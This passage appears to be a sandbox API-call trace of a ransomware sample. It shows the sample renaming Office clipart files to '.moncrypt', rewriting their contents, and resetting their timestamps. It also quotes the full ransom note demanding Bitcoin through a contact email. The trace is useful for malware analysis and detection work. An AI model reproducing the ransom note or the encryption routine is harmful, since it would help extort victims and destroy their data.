FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.678] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.678] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.679] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.679] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.679] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.679] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.679] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.679] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.679] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.679] CloseHandle (hObject=0x188) returned 1 [0060.679] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0060.679] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.679] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.679] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.679] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.680] GlobalUnlock (hMem=0x44000c) returned 0 [0060.680] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.680] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.680] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.680] GlobalUnlock (hMem=0x44000c) returned 0 [0060.680] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.680] GlobalUnlock (hMem=0x440004) returned 0 [0060.680] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.680] CharLowerBuffW (in: lpsz="AN04326_.WMF", cchLength=0xc | out: lpsz="an04326_.wmf") returned 0xc [0060.680] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.680] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.680] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.680] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.680] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.680] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.680] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.680] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.680] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.680] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.680] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.680] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.680] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.681] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN04326_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.681] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.681] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.681] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.681] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF", dwFileAttributes=0x20) returned 1 [0060.682] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.682] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.moncrypt")) returned 1 [0060.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.693] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.693] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0xd14 [0060.693] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.693] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0xd14, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0xd14, lpOverlapped=0x0) returned 1 [0060.695] GlobalLock (hMem=0x440004) returned 0x550170 [0060.695] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.695] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.695] GlobalUnlock (hMem=0x440004) returned 0 [0060.695] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.695] GlobalUnlock (hMem=0x44000c) returned 0 [0060.696] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.696] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.696] GlobalUnlock (hMem=0x44000c) returned 0 [0060.696] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.696] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0xd30, lpOverlapped=0x0) returned 1 [0060.696] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.696] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.708] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.708] CloseHandle (hObject=0x188) returned 1 [0060.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.709] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.709] CloseHandle (hObject=0x188) returned 1 [0060.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.710] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.710] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.710] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.710] GlobalUnlock (hMem=0x44000c) returned 0 [0060.710] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.710] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.710] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.710] GlobalUnlock (hMem=0x44000c) returned 0 [0060.710] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.710] GlobalUnlock (hMem=0x440004) returned 0 [0060.710] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.710] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.710] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.710] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.711] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.711] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.711] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.711] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.711] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.711] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.711] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.711] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.711] CloseHandle (hObject=0x188) returned 1 [0060.711] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0060.711] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.712] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.712] GlobalLock (hMem=0x440004) returned 0x550170 [0060.712] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.712] GlobalUnlock (hMem=0x440004) returned 0 [0060.712] GlobalLock (hMem=0x440004) returned 0x550170 [0060.712] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.712] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.712] GlobalUnlock (hMem=0x440004) returned 0 [0060.712] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.712] GlobalUnlock (hMem=0x44000c) returned 0 [0060.712] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.712] CharLowerBuffW (in: lpsz="AN04332_.WMF", cchLength=0xc | out: lpsz="an04332_.wmf") returned 0xc [0060.712] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.712] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.712] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.712] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.712] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.712] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.712] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.712] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.712] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.713] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.713] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN04332_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.713] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.713] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.713] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.713] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF", dwFileAttributes=0x20) returned 1 [0060.715] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.715] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.moncrypt")) returned 1 [0060.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.715] SetFilePointer (in: hFile=0x188, 